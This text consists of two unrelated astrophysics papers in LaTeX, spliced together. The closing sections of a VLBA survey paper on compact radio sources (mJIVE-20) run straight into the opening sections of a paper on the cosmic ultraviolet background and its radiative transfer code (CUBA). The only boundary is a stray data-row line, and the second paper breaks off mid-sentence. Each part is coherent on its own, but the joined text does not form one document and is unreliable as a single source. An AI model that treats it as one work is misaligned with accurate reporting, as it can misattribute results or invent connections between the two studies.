However, the detection fraction of sources classified as stellar/point--like in SDSS appears to be independent of FIRST flux density, whereas the remaining sources (galaxies and unclassified) show a strong anti--correlation between FIRST flux density and VLBI compactness. The trend for fainter radio sources in these latter two categories to be more compact is even clearer than for the complete mJIVE--20\ dataset (as shown in Figure~\ref{fig:detections}), since a significant population of sources which show no compactness evolution with FIRST flux density (the SDSS stellar/point--like sources) has been removed. Following the procedure used for the full dataset, we made weighted linear regression fits to the evolution of compact fraction with FIRST peak flux density for each SDSS class separately. The results are summarized in Table~\ref{tab:sdssfits}, and show that the linear fit to compactness as a function of FIRST flux density is generally better for each separate SDSS class than when the entire mJIVE--20\ sample is considered as a whole.
This result is consistent with the unification model proposed
in \citet{mullin08a}, where Doppler boosting and suppression explain the variations in core prominence between classes of sources. However, the information available in SDSS is not detailed enough to directly place mJIVE--20\ sources into the classification schemes used by \citet{mullin08a}, and therefore a comparison can only be qualitative.
We coarsely identify the stellar/point--like SDSS sources with the categories of quasars and broad line radio galaxies from \citet{mullin08a}. Regardless of source luminosity, the orientation of most of these sources will mean that the core emission will be Doppler boosted with high Lorentz factors, and they will therefore have relatively high (and constant) detection fractions across the range studied by mJIVE--20. Supporting this interpretation, other previous studies with small samples have also noted comparatively high levels of radio core prominence in quasars \citep[][]{morganti97a}.
Sources similar to the narrow-line radio galaxies (NLRGs) and low-excitation radio galaxies (LERGs) from Mullin et al. are more likely to be found among the SDSS sources classified as ``galaxies" or the ``unclassified" SDSS objects. In these sources, the viewing angles are spread over a wider range, but as the Lorentz factors are smaller, the effects of boosting and de--boosting are less pronounced. In these source classes, lower-luminosity sources have on average a higher core prominence than higher--luminosity sources, due to reduced Doppler suppression of the core emission. Qualitatively, this leads to the observed situation in which SDSS galaxies and unclassified SDSS objects have higher detection fractions at lower flux densities.
\include{detection-sdss-figure}
\include{sdss-fits}
\subsection{Highly variable sources}
\label{sec:variable}
Simply due to light travel time arguments, radio sources varying on a timescale of years must contain a reasonably compact component. They therefore form a particularly interesting subclass of objects when considering a VLBI survey such as mJIVE--20, which is sensitive only to compact sources. Examples of known variable sources which might be expected to be detected include blazars, x--ray binaries, scintillating radio pulsars or AGN, gamma--ray burst afterglows, radio supernovae, and supernova remnants, whilst previously unsuspected explosive phenomena could also be found if present. A number of surveys for slow variability are planned with upcoming telescopes \citep[e.g., ASKAP, LOFAR;][]{johnston08a,stappers11a}, but none of these will be able to provide information on milliarcsecond scale structure as is available with the VLBA. Identifying and classifying variable radio sources with mJIVE--20, then, provides a useful complement to previous and future studies of slow radio transients.
Previous studies \citep[e.g.,][]{levinson02a,de-vries04a,bower07a} have identified variable sources by using the publicly available data from the FIRST survey, sometimes in combination with other surveys such as the NRAO VLA Sky Survey \citep[NVSS;][]{condon98a}. The largest of these, conducted by \citet{thyagarajan11a}, compared sources detected in at least one observation from FIRST and/or NVSS and identified 1627 variable (detected in multiple epochs) and transient (detected in a single epoch, with inconsistent upper limits in other epochs) sources. Of the 1627 sources in the \citet{thyagarajan11a} catalog, 19 have been observed by mJIVE--20\ to date, and 8 were detected. All of the observed sources are listed in Table~\ref{tab:knownvariables}. As expected, the mJIVE--20\ detection fraction amongst confirmed variable sources is higher than for the general radio source population.
\input{knownvariables-table.tex}
In addition to investigating the VLBI characteristics of previously identified variable sources, it is possible to cross--match the mJIVE--20\ and FIRST fluxes to identify previously unknown variable sources. The mismatched resolution between FIRST and mJIVE--20\ means that it is impossible to identify any sources which have decreased in flux since the FIRST observations, since this situation is degenerate with the much more common case of some flux being resolved out on intermediate scales. It is, however, possible to identify some sources which have increased significantly in flux.
The accuracy of peak fluxes for objects detected in the FIRST survey are thought to range between $\sim$15\% at the detection limit (where the errors are dominated by the thermal noise in the maps) to 5\% or less for brighter sources \citep{white97a}. Since most of the detected variable sources are faint, we allow a 15\% error for the FIRST flux density irrespective of brightness. For the mJIVE--20\ detections, we first conservatively allow for a 20\% error in the absolute flux density calibration, and then calculate the 3$\sigma$ confidence lower limit of the adjusted peak flux density based on the signal--to--noise of the detection. Only sources where this mJIVE--20\ lower limit exceeds the FIRST upper limit are considered to be confirmed variable sources.
In the mJIVE--20\ sample of 4,336 detections, approximately 1\% exhibit significant variability, with the most variable source increasing in flux by a factor of more than 3. Due to the selection effects mentioned above, 1\% is clearly a lower limit on the number of variable sources in the sample (as probed over a timescale of $\sim$10 years). These sources are shown in Table~\ref{tab:newvariables}.
\input{newvariables-table.tex}
\subsection{Compact double sources}
\label{sec:doubles}
Compact Symmetric Objects (CSO) are radio sources structurally
reminiscent of Fanaroff-Riley type II sources, but are several
orders of magnitudes smaller in diameter ($<1$\,kpc), and so are
typically contained within their host galaxies. They are related
to the Gigahertz-Peaked Spectrum sources (GPS) and Compact
Steep-Spectrum sources (CSS) in that many GPS and CSS objects
exhibit CSO morphologies, a fact arising from synchrotron
self-absorption \citep{de-vries09a}. They are thought to be
young objects with ages $<10^4$\,yr \citep{readhead96a},
which eventually may evolve into FR\,II sources. Their ages can
be derived geometrically from the increasing separation of their
lobes, and statistics show that many CSOs are even younger than
500\,yr \citep{gugliucci05a}. This finding implies that CSOs
are short-lived sources. The angle between the jet axis and the
line of sight is typically large in CSOs, and so their jets are
not strongly beamed, which makes them useful probes for aspects
of the unification scenario of AGN \citep{antonucci93a},
when parts of the circumnuclear material can be viewed in
absorption against the receding lobes or jets. Since they are so
small, observations of CSOs are mostly limited to VLBI
observations, which unfortunately implied until recently that
only small samples with order 10--20 objects could be
observed. The largest sample of CSOs observed to date is the
sample by \citet{tremblay09a}, who isolated 103 CSOs from a
parent sample of 1127 flat-spectrum radio sources observed with
the VLBA at 5\,GHz \citep{helmboldt07a}. Our survey will
boost the number of known CSOs simply because it targets so many
objects.
A significant number of compact double sources have already been observed by mJIVE--20. Two examples are shown in Figure~\ref{fig:compactdoubles}. However, reliably identifying compact double sources automatically in the mJIVE--20\ catalog is challenging (the two images shown in Figure~\ref{fig:compactdoubles} were generated manually after a cursory inspection of the automated results by eye). In particular, allowing the cleaning step to locate flux over a wider field runs the risk of distorting the properties of simpler sources, by placing clean components in sidelobes in the dirty map. This problem is particularly acute for mJIVE--20\ due to the high sidelobe level in the snapshot VLBI observations. Accordingly, we plan to implement a separate imaging step which will be focused solely on identifying extended and double sources, and which will supplement rather than replace the main mJIVE--20\ imaging pipeline. Options under consideration include clean auto--boxing and model--fitting. We plan to describe the results of this analysis in a future paper.
\begin{figure}
\begin{center}
\includegraphics[width=0.5\textwidth, angle=270]{MJV00927.clean.ps}
\includegraphics[width=0.5\textwidth, angle=270]{MJV03657.clean.ps}
\caption{Two examples of compact double sources identified by mJIVE--20. {\em (Left)} MJV00927/FIRST J130310.6+574130, {\em (Right)} MJV03657/FIRST 165826.5+473215.}
\label{fig:compactdoubles}
\end{center}
\end{figure}
\section{Conclusions}
\label{sec:conclusions}
The mJIVE--20\ large VLBA project has detected 4,336 compact radio sources in 364 hours of observing time to date. The overall detection fraction of VLBI sources is consistent with that seen in previous, much smaller imaging surveys. Using the mJIVE--20\ catalog, we have shown for the first time that the fraction of mJy--level radio sources which contain a compact component has a dependence on the arcsecond--scale radio flux density. When separated by optical classification using SDSS, further trends emerge, with point--like objects identified as stellar sources by SDSS (and hence presumably compact optical AGN in actuality) being more likely to be detected in VLBI observations overall, but showing no dependence on the arcsecond--scale flux density. Galaxies and optically undetected sources are less likely to show a VLBI component on average, but this likelihood is a function of arcsecond--scale flux density, with fainter sources being considerably more likely to have parsec--scale emission. This observation is consistent with the hypothesis that lower--luminosity sources have on average slower radio jets and wider beaming angles, and hence their core emission is less likely to suffer Doppler suppression and more likely to contribute significantly to the overall radio emission when seen from an arbitrary viewing angle. Finally, mJIVE--20\ has detected 53 variable sources which have considerably increased in flux density since their original FIRST observations, and has shown that previously identified mJy transient sources are more likely to contain a compact component than a typical FIRST source, as expected.
\acknowledgements The authors are grateful to J. Morgan for useful suggestions concerning implementation of primary beam corrections, L. Godfrey for useful discussions concerning AGN radio jet models and M. Garrett for useful discussions concerning VLBI detection fractions for FIRST sources. The National Radio Astronomy Observatory is a facility of the National Science Foundation operated under cooperative agreement by Associated Universities, Inc. ATD is supported by an NWO Veni Fellowship.
\bibliographystyle{apj}
|
1,477,468,750,061 | arxiv | \section{Introduction}
The reionization of the all-pervading intergalactic medium (IGM) is a landmark event in the history
of cosmological structure formation. Studies of Gunn-Peterson absorption in the spectra of distant quasars
show that hydrogen is highly photoionized out to redshift $z\mathrel{\spose{\lower 3pt\hbox{$\mathchar"218$} 6$ (e.g., Fan, Carilli, \& Keating 2006a;
Songaila 2004), while polarization data from the {\it Wilkinson Microwave Anisotropy Probe (WMAP)} constrain the
redshift of a sudden reionization event to be significantly higher, $z= 10.5 \pm 1.2$ (Jarosik {et al.\ } 2011).
It is generally thought that the IGM is kept ionized by the integrated UV emission from active nuclei and
star-forming galaxies, but the relative contributions of these sources as a function of epoch are poorly
known. Because of the high ionization threshold (54.4 eV) and small photoionization cross section of \hbox{He~$\scriptstyle\rm II$}, and of
the rapid recombination rate of \hbox{He~$\scriptstyle\rm III$}, the double ionization of helium is expected
to be completed by hard UV-emitting quasars around the peak of their activity at $z\approx 2.5$
(e.g., Madau \& Meiksin 1994; Sokasian, Abel, \& Hernquist 2002; McQuinn {et al.\ } 2009), much later
than the reionization of \hbox{H~$\scriptstyle\rm I$}\ and \hbox{He~$\scriptstyle\rm I$}. At $z>3$, the declining population of bright quasars
appears to make an increasingly small contribution to the 1 ryd radiation background, and it is believed
that massive stars in galactic and subgalactic systems may provide the additional ionizing flux needed at early times
(e.g., Madau, Haardt, \& Rees 1999; Gnedin 2000; Haehnelt {et al.\ } 2001; Wyithe \& Loeb 2003; Meiksin 2005; Trac \& Cen 2007;
Faucher-Gigu\`ere {et al.\ } 2008a; Gilmore {et al.\ } 2009; Robertson {et al.\ } 2010). This idea may be supported by the detection of escaping
ionizing radiation from individual Lyman-break galaxies at $z\sim 3$ (e.g., Shapley {et al.\ } 2006).
Despite much recent progress, a coherent description of the thermal state and ionization degree
of the IGM remains elusive. The intensity and spectrum of the cosmic ultraviolet background remain
one of the most uncertain yet critically important astrophysical input parameters for cosmological
simulations of the IGM and for interpreting quasar absorption-line data and derive information on the
distribution of primordial baryons (traced by \hbox{H~$\scriptstyle\rm I$}, \hbox{He~$\scriptstyle\rm I$}, \hbox{He~$\scriptstyle\rm II$}\ transitions) and of the
nucleosynthetic products of star formation (\hbox{C~$\scriptstyle\rm III$}, \hbox{C~$\scriptstyle\rm IV$}, \hbox{Si~$\scriptstyle\rm III$}, \hbox{Si~$\scriptstyle\rm IV$}, \hbox{O~$\scriptstyle\rm VI$}, etc.). This is the
fourth paper in a series aimed at a detailed study of the generation and reprocessing of photoionizing
radiation in a clumpy universe, and of the transfer of energy from this diffuse background flux to the IGM.
In Paper I (Madau 1995) we showed how the stochastic attenuation produced by neutral hydrogen along
the line of sight affects the colors of distant galaxies. In Paper II (Haardt \& Madau 1996) we developed CUBA, a radiative
transfer code that followed the propagation of Lyman-continuum (LyC) photons through a partially ionized inhomogeneous IGM.
CUBA outputs have been extensively used to model the Ly$\alpha$\ forest in large cosmological
simulations (e.g., Tytler {et al.\ } 2004; Theuns {et al.\ } 1998; Dav\'e {et al.\ } 1997; Zhang
{et al.\ } 1997). In Paper III (Madau {et al.\ } 1999) we focused on the candidate sources
of photoionization at early times and on the history of the transition from
a neutral IGM to one that is almost fully ionized. In this paper we describe a new version of CUBA and use it
to compute improved synthesis models of the UV/X-ray cosmic background spectrum and evolution, combining,
updating, and extending many of our previous results in this field. The five main upgrade to CUBA are: (1) the sawtooth modulation
from resonant line absorption in the Lyman series of intergalactic helium as well as hydrogen;
(2) the X-ray emissivity from the obscured and unobscured populations of active galactic nuclei (AGNs) that gives
origin to the X-ray background; (3) an up-to-date piecewise parameterization of the distribution
in column density of intervening absorbers, which establishes the ``super Lyman-limit systems" as the dominant contributors
to the hydrogen LyC intergalactic opacity; (4) an accurate treatment of the absorber photoionization structure,
entering in the calculation of the helium continuum opacity and recombination emissivity of the clumpy IGM; and (5)
the UV flux from star-forming galaxies at all redshifts.
The plan is as follows. In \S\,2 we review the basic theory of cosmological radiative transfer in a clumpy universe.
\S\,3 and \S\,4 discuss the distribution of absorbers along the line of sight and their photoionization structure.
The recombination radiation from the clumpy IGM is calculated in \S\,5. In \S\,6 and \S\,7 we compute the UV and X-ray emissivity
from quasars, and in \S\,8 the UV emissivity from star-forming galaxies. An overview of the main results generated by the
updated CUBA radiative transfer code is given in \S\,9. Finally, we summarize our findings in \S\,10.
Unless otherwise stated, all results shown below will assume a $(\Omega_M, \Omega_\Lambda, \Omega_b, h)=(0.3, 0.7, 0.045, 0.7)$
cosmology. Note that, while the source volume emissivities must be
evaluated in a given cosmological model, the resulting background intensity does not explicitly depend
on the choice of cosmological parameters.
\section{Cosmological radiative transfer}
We start by summarizing the basic theory describing the propagation of ionizing radiation
in a clumpy, primordial IGM (e.g., Paper I; Paper II; Madau \& Haardt 2009). The equation
of cosmological radiative transfer describing the time evolution of the
space- and angle-averaged monochromatic intensity $J_\nu$ is
\begin{equation}
\left({\partial \over \partial t}-\nu H {\partial \over \partial \nu}\right)J_\nu+3HJ_\nu=
- c\kappa_\nu J_\nu + {c\over 4\pi}\epsilon_\nu, \label{eq:rad}
\end{equation}
where $H(z)$ is the Hubble parameter, $c$ the speed of the light, $\kappa_\nu$ is the
absorption coefficient, and $\epsilon_\nu$ the proper volume emissivity. The integration of
equation (\ref{eq:rad}) gives the background intensity at the observed frequency
$\nu_o$, as seen by an observer at redshift $z_o$,
\begin{equation}
J_{\nu_o}(z_o)={c\over 4\pi}\int_{z_o}^{\infty}\, |dt/dz| dz
{(1+z_o)^3 \over (1+z)^3} \epsilon_\nu(z) e^{-\bar\tau},
\label{Jnu}
\end{equation}
where $\nu=\nu_o(1+z)/(1+z_o)$, $|dt/dz|=H^{-1}(1+z)^{-1}$, $\bar\tau\equiv -\ln \langle e^{-\tau}\rangle$
is the effective absorption optical depth of a clumpy IGM, and $\epsilon_\nu$ is the proper volume emissivity.
\subsection{Photoelectric absorption}
In the case of LyC absorption by Poisson-distributed systems, the effective opacity between $z_o$ and $z$ is
\begin{equation}
\bar\tau_c(\nu_o,z_o,z)=\int_{z_o}^z\,
dz'\int_0^{\infty}\, dN_{\rm HI}\, f(N_{\rm HI},z') (1-e^{-\tau_c}), \label{tauC}
\end{equation}
where $f(N_{\rm HI},z')$ is the bivariate distribution of absorbers in redshift and
column density along the line of sight, $\tau_c$ is the continuum optical depth at frequency
$\nu'=\nu_o(1+z')/(1+z_o)$ through an individual absorber,
\begin{equation}
\tau_c(\nu')=N_{\rm HI}\sigma_{\rm HI}(\nu') +N_{\rm HeI}\sigma_{\rm HeI}(\nu') +N_{\rm HeII}\sigma_{\rm HeII}(\nu'),
\end{equation}
where $N_i$ and $\sigma_i$ are the column densities and photoionization cross sections of ion $i$.
\subsection{Resonant absorption}
\label{sec:sawtooth}
Besides photoelectric absorption, resonant absorption by the hydrogen and helium Lyman series will produce
a sawtooth modulation of the radiation spectrum (Madau \& Haardt 2009; Haiman, Rees, \& Loeb 1997). Continuum photons
that are redshifted through the Ly$\alpha$\ frequency, $\nu_\alpha$, are resonantly scattered until they redshift out of resonance:
the only two Ly$\alpha$\ line destruction mechanisms, two-photon decay and \hbox{O~$\scriptstyle\rm III$}\ Bowen fluorescence (Kallman \& McCray 1980),
can typically be neglected in the low metallicity, low density IGM. This is not true, however, for photons passing through a
higher order Lyman-series resonance, which will be absorbed and degraded via a radiative cascade rather than escaping
by redshifting across the line width. Since the line absorption cross section is a narrow, strongly
peaked function, the effective line absorption optical depth for a photon observed at $(z_o, \nu_o<\nu_n)$
that passed through a resonance at redshift $z_n=(1+z_o)(\nu_n/\nu_o)-1$, can be written as
\begin{equation}
\bar\tau_n(z_n)=(1+z_n){\nu_n\over c} \int_0^\infty dN_{\rm HI}\,f(N_{\rm HI},z_n)W_n,
\label{taui}
\end{equation}
where $\nu_n=\nu_\alpha \times 4(1-n^{-2})/3$ is the frequency of the $1s \rightarrow np$ Lyman-series
transition ($n\ge 3$) and $W_n$ is the rest equivalent width of the line expressed in wavelength units.
This opacity is dominated by systems having line center optical depths of order unity, i.e., which lie at
the transition between the linear and the flat part of the curve of growth.
Consider, for example, radiation observed at frequency below the Ly$\beta$\ of hydrogen or helium, $\nu_o<\nu_\beta$.
Photons emitted between $z_o$ and $z_\beta=(1+z_o)(\nu_\beta/\nu_o)-1$ can reach the observer without undergoing
resonant absorption. Photons emitted between $z_\beta$ and $z_\gamma=(1+z_o)
(\nu_\gamma/\nu_o)-1$ pass instead through the Ly$\beta$\ resonance at $z_\beta$ and are
absorbed. Photons emitted between $z_\gamma$ and $z_\delta=(1+z_o)(\nu_\delta/\nu_o)-1$
pass through both the Ly$\beta$\ and the Ly$\gamma$\ resonances before reaching
the observer. The background intensity can then be written as (Madau \& Haardt 2009)
\begin{equation}
J_{\nu_o}(z_o)=O(z_o,z_\beta)+O(z_\beta,z_\gamma)e^{-\bar\tau_\beta}+
O(z_\gamma,z_\delta)e^{-\bar\tau_\beta-\bar\tau_\gamma}+....
+O(z_L,\infty)\exp(-\sum_{n=3}^\infty \bar\tau_n),
\label{Jbeta}
\end{equation}
where we have denoted with the symbol $O(z_i,z_j)$ the ``Olbers' integrals" on the right hand side of
equation (\ref{Jnu}), calculated between redshifts $z_i$ and $z_j>z_i$ and with $\bar\tau_c$ equal to
the relevant continuum opacity,
\begin{equation}
O(z_i,z_j)\equiv {c\over 4\pi}\int_{z_i}^{z_j}\, |dt/dz|dz
{(1+z_o)^3 \over (1+z)^3} \epsilon_\nu(z) e^{-\bar\tau_c}.
\end{equation}
In equation (\ref{Jbeta}), $z_L=(1+z_o)(\nu_L/\nu_o)-1$,
$\nu_L$ is the frequency at the Lyman limit, and $\bar\tau_\beta, \bar\tau_\gamma, \bar\tau_\delta,...$ are
the Lyman-series effective opacities at redshifts $z_\beta, z_\gamma, z_\delta,...$.
In the case of resonant absorption by \hbox{H~$\scriptstyle\rm I$}, the LyC optical depth $\bar\tau_c$ is zero in all $O$-integrals
except the last, while in the case of \hbox{He~$\scriptstyle\rm II$}\ all terms must include photoelectric absorption by \hbox{H~$\scriptstyle\rm I$}\ and \hbox{He~$\scriptstyle\rm I$}\
(as well by \hbox{He~$\scriptstyle\rm II$}\ in the last term). Equation (\ref{Jbeta}) is easily generalized to higher
observed frequencies, $\nu_n<\nu_o<\nu_{n+1}$, to read
\begin{equation}
J_{\nu_o}(z_o)=O(z_o,z_{n+1})+\sum_{k=n+1}^\infty O(z_k,z_{k+1})\,\exp(-\sum_{l=n+1}^k \bar\tau_l).
\label{Jres}
\end{equation}
Note how, in the case of large resonant opacities, only sources between the observer and the ``screen" redshift
$z_{n}=(1+z_o)(\nu_{n}/\nu_o)-1$ corresponding to the frequency of the nearest Lyman-series line above $\nu_o$
will not be blocked from view: the background energy spectrum will show a series of discontinuities,
peaking at frequencies just above each resonance, as the
first integral in equation (\ref{Jres}) extends over the largest redshift path, and going to zero at resonance.
\subsection{Lyman series cascades}
Each photon absorbed through a Lyman series resonance causes a radiative
cascade that ultimately terminates either in a Ly$\alpha$ photon or in two-photon $2s \rightarrow 1s$ continuum
decay. In the former case the photon scatters until it is redshifted out of resonance, in the latter
the photons escape to infinity without further interactions. Consider, for example, the
absorption of a Ly$\beta$\ photon. The excited $3p$ level is depopulated via $3p\rightarrow 2s$ decay
(H$\alpha$). In the low-density IGM, collisional $l$-mixing of the $2s-2p$ levels (Seaton 1959)
is negligible, and the cascade can only terminate in two-photon $2s \rightarrow 1s$ emission (Hirata 2006).
Without $l$-mixing, the quantum selection rules forbid a Ly$\beta$\ photons from being converted
into Ly$\alpha$: by contrast, excitation of the $4p$ level by absorption of Ly$\gamma$\ can
decay via the $3s$ or $3d$ levels to the $2p$ and ultimately produce Ly$\alpha$.
More generally, the fraction, $f_n$, of decays from an $np$ state that generates Ly$\alpha$\ photons can be
determined from the selection rules and the decay probabilities. This fraction is found to increase as
$f_n=(0,0.2609,0.3078,0.3259,...)$ for $n=(3,4,5,6,...)$, and to asymptote to 0.359
at large $n$ (Pritchard \& Furlanetto 2006). Note that this is valid in the approximation that the IGM
is optically thick to higher-order Lyman-series transitions.
What is the Ly$\alpha$\ diffuse flux produced by these Lyman-series cascades? Let $J_{\nu_n}(z)$ be
the background intensity measured just above the \hbox{H~$\scriptstyle\rm I$}\ or \hbox{He~$\scriptstyle\rm II$}\ Ly$n$\ resonance at redshift $z$.
The Ly$n$\ flux that is absorbed and converted into Ly$\alpha$\ is $f_n J_{\nu_n}(z)[1-e^{-\bar\tau_n(z)}]$,
and the proper Ly$\alpha$\ volume emissivity generated by this process can be written as
\begin{equation}
\epsilon^n_{\nu}(z)={4\pi \over c} f_n J_{\nu_n}(z)[1-e^{-\bar\tau_n(z)}]\, {\nu \delta(\nu-\nu_\alpha)\over (1+z)}\,|dz/dt|,
\label{eq:epsia}
\end{equation}
where $\delta(x)$ is the Dirac delta function.
The additional flux observed at frequency $\nu_o\le \nu_\alpha$ and redshift $z_o$ from this process is then
\begin{equation}
\Delta J_{\nu_o}^n(z_o)=\left(\frac{\nu_o}{\nu_\alpha}\right)^3\,e^{-\bar\tau_c(\nu_o,z_o,z_\alpha)}\,
\{f_n J_{\nu_n}(z_\alpha)[1-e^{-\bar\tau_n(z_\alpha)}]\}
\label{Jalpha}
\end{equation}
(Madau \& Haardt 2009), where $1+z_\alpha=(1+z_o)(\nu_\alpha/\nu_o)$ and the LyC optical depth $\bar\tau_c$ is
zero in the case of resonant absorption by \hbox{H~$\scriptstyle\rm I$}. When summing up over all Lyman series lines, the term
in square brackets must be replaced by $\sum_{n>3}\{f_n J_{\nu_n}(z_\alpha)[1-e^{-\bar\tau_n(z_\alpha)}]\}$.
The same Ly$n$\ cascade also produces a two-photon continuum with emissivity given by
\begin{equation}
\epsilon^n_{\nu}(z)={4\pi \over c} (1-f_n) J_{\nu_n}(z)[1-e^{-\bar\tau_n(z)}]\, {\nu f_\nu\over (1+z)}\,|dz/dt|,
\label{eq:epsi2}
\end{equation}
where the two-photon emission function $f_\nu$ is expressed in photons per unit frequency interval and is
symmetric about $\nu_\alpha/2$.
We note that the underlying assumption in equations (\ref{eq:epsia}) and (\ref{eq:epsi2}) is that every absorber
is a source of unprocessed Ly$\alpha$\ line and two-photon continuum radiation, i.e., that these photons escape into intergalactic space
without appreciable local absorption. In the case of \hbox{He~$\scriptstyle\rm II$}\ Ly$\alpha$\ emission, this requires
negligible ``in situ" destruction from dust, metals (\hbox{O~$\scriptstyle\rm III$}\ Bowen fluorescence), and photoelectric absorption by \hbox{H~$\scriptstyle\rm I$}, so
that the Ly$\alpha$\ photons diffuses into the wings and eventually escape from the production site into the IGM. This is
a good approximation at the low metallicities that characterize intergalactic absorbers (Kallman \& McCray 1980),
even more so since the reprocessing of Lyman series photons occurs in a ``skin" layer at the surface of an absorption system.
In \S\,4 we will show that this is a poor approximation in the case of the reprocessing of LyC radiation, a proper
treatment of which requires a numerical solution of the radiative transfer equation within individual absorbers.
\begin{figure}[thb]
\centering
\includegraphics*[width=0.47\textwidth]{fig1a.ps}
\includegraphics*[width=0.47\textwidth]{fig1b.ps}
\caption{\footnotesize {\it Left:} The assumed distribution of absorbers in \hbox{H~$\scriptstyle\rm I$}\ column density at
redshift $z=2$ ({\it bottom curve}), $z=3.5$ ({\it middle curve}), and $z=5$ ({\it top curve}).
For clarity, we have multiplied the top and bottom curves by 50 and 1/50, respectively.
{\it Right:} The quantity $N_{\rm HI} f(N_{\rm HI},z) [1-\exp(-N_{\rm HI}\sigma_{912}]$ at the same redshifts,
showing the dominant contribution of the optically thick LLSs and SLLSs to the intergalactic opacity at 1 ryd.
}
\label{fig1}
\vspace{+0.3cm}
\end{figure}
\begin{table}[h]
\caption{Parameters of the distribution of intergalactic absorbers}
\centering
\begin{tabular}{llllll}
\hline\hline
\\[-6pt]
{Absorbers class} & {log $(N_{\rm HI}/$cm$^{-2})$} & {$\beta$} & {$A$ [cm$^{-2(\beta-1)}$]} & {$\gamma$} & {redshift} \\[3pt]
\hline
\\[-6pt]
Ly$\alpha$\ forest & $11-15$ & $1.5$ & $10^{7.079}$ & 3.0 & $1.56<z<5.5$ \\
& $11-15$ & $1.5$ & $10^{8.238}$ & 0.16 & $z<1.56$ \\
& $11-15$ & $1.5$ & $10^{1.470}$ & 9.9 & $z>5.5$ \\
& $15-17.5$ & $2.0$ & $10^{14.580}$ & $3.0$ & $1.56<z<5.5$ \\
& $15-17.5$ & $2.0$ & $10^{15.740}$ & $0.16$ & $z<1.56$ \\
& $15-17.5$ & $2.0$ & $10^{8.970}$ & $9.9$ & $z>5.5$ \\[3pt]
\hline
\\[-6pt]
LLSs & $17.5-19$ & & & & \\[3pt]
\hline
\\[-6pt]
SLLSs & $19-20.3$ & $1.05$ & $10^{-0.347}$ & 1.27 & $z>1.56$ \\
& $19-20.3$ & $1.05$ & $10^{0.107}$ & 0.16 & $z<1.56$ \\[3pt]
\hline
\\[-6pt]
DLAs & $20.3-21.55$ & $2.0$ & $10^{18.940}$ & 1.27 & $z>1.56$ \\
& $20.3-21.55$ & $2.0$ & $10^{19.393}$ & 0.16 & $z<1.56$\\[3pt]
\hline
\\
\end{tabular}
\end{table}
\section{Distribution of absorbers along the line of sight}
The effective opacity of the IGM has traditionally been one of the main uncertainties affecting calculations
of the UV background. Our improved model uses a piecewise power-law parameterization for the distribution of
absorbers along the line of sight,
\begin{equation}
f(N_{\rm HI},z)=A\,N_{\rm HI}^{-\beta}(1+z)^{\gamma},
\label{eq:ladis}
\end{equation}
and is designed to reproduce accurately a number of recent observations:
\begin{itemize}
\item Over the column density range
$10^{11}<N_{\rm HI}<10^{15}\,\,{\rm cm^{-2}}$, we use $(A,\beta,\gamma)=(1.2\times 10^7,1.5,3.0)$, where the normalization
$A$ is expressed in units of cm$^{-2(\beta-1)}$, and $\beta=1.5$ is chosen following, e.g., Tytler (1987).
As noted, e.g., by Meiksin \& Madau (1993), Petitjean et al. (1993), and Kim {et al.\ } (1997, 2002), $f(N_{\rm HI})$
starts to steepen from the empirical $-1.5$ power law at $N_{\rm HI}>10^{14.5}\,{\rm cm^{-2}}$. Here, we assume
$(A,\beta,\gamma)=(3.8\times 10^{14},2.0,3.0)$ for $10^{15}<N_{\rm HI}<10^{17.5}\,\,{\rm cm^{-2}}$.
A ``curve of growth'' analysis (providing the relationship between equivalent width and column
density) with Doppler parameter $b=32\,\,{\rm km\,s^{-1}}$, together with equation (\ref{taui}) and the above
distribution of Ly$\alpha$-forest clouds, produces a Ly$\alpha$\ effective opacity $\bar\tau_\alpha=0.0015(1+z)^4$, in agreement with the
best-fits of Faucher-Gigu\`ere {et al.\ } (2008b) after metal correction.
\item At the other end of the column density distribution, a recent survey of damped Ly$\alpha$\ systems (DLAs) by Prochaska
\& Wolfe (2009) (see also Guimaraes {et al.\ } 2009) yields $dN/dz\equiv \int dN_{\rm HI} f(N_{\rm HI},z)=0.294$ DLAs per unit redshift
at $\langle z\rangle=3.7$ above $N_{\rm HI}=10^{20.3}\,\,{\rm cm^{-2}}$. With a power-law exponent $\beta=2$ down to a break column
of $N_{\rm HI}=10^{21.55}\,\,{\rm cm^{-2}}$ (Prochaska \& Wolfe 2009), and with an incidence per unit redshift $\propto (1+z)^{1.27}$
(Rao {et al.\ } 2006), the parameters for the DLAs becomes $(A,\beta,\gamma)=(8.7\times 10^{18},2,1.27)$.
\item For absorbers with $10^{19}<N_{\rm HI}<10^{20.3}\,\,{\rm cm^{-2}}$ (the so-called ``super Lyman-limit systems", or SLLSs), we use
O'Meara {et al.\ } (2007), who find $dN/dz=0.97$ SLLSs per unit redshift at $\langle z\rangle=3.5$ above $N_{\rm HI}=10^{19}\,\,{\rm cm^{-2}}$.
Matching with the DLAs abundance then requires $(A,\beta,\gamma)=(0.45,1.05,1.27)$ for the SLLSs.
\item There is obviously a significant mismatch between the power-law exponent for the Ly$\alpha$\ clouds ($\gamma=3$) and the
SLLSs ($\gamma=1.27$). Continuity then requires the shape of $f(N_{\rm HI},z)$ to change with redshift over the column
density range of the Lyman-limit systems (LLSs), $10^{17.5}<N_{\rm HI}<10^{19}\,\,{\rm cm^{-2}}$. In this interval of column densities
we match the distribution function with a power law of redshift-dependent slope. The procedure yields the slopes
$\beta=0.47,0.61,0.72,0.82$ at redshifts $z=2,3,4,5$, respectively, in agreement with Prochaska {et al.\ } (2010) who
find for the LSSs $\beta=0.8^{+0.4}_{-0.2}$ at $z\approx 3.5$.
\item The ensuing $f(N_{\rm HI},z)$ distribution is shown in the left panel of Figure \ref{fig1} for $z=2,3.5,5$ where, for clarity,
we have multiplied the values at the highest and lowest redshift by 50 and 1/50, respectively. Its shape is similar to the
distribution inferred by Prochaska {et al.\ } (2010). In the right panel of the same figure we have plotted
the quantity $N_{\rm HI} d\bar\tau_c/(dz dN_{\rm HI})\vert_{\nu=\nu_{912}}=N_{\rm HI} f(N_{\rm HI},z) [1-\exp(-N_{\rm HI} \sigma_{912}]$, i.e., the effective
optical depth at 1 ryd per unit redshift per unit logarithmic interval of hydrogen column. This shows the dominant contribution
of the LLSs and SLLSs to the LyC opacity.
\item The above parameterizations reproduce well the observations
at $2\mathrel{\spose{\lower 3pt\hbox{$\mathchar"218$} z \mathrel{\spose{\lower 3pt\hbox{$\mathchar"218$} 5$. At low redshift, however, {\it Hubble Space Telescope} ({\it HST})
data show that the forest undergoes a much slower evolution. Following Weymann {et al.\ } (1998)
we take $\gamma=0.16$ in the interval $0<z<z_{\rm low}$ and $dN/dz=34.7$ at $z=0$ above
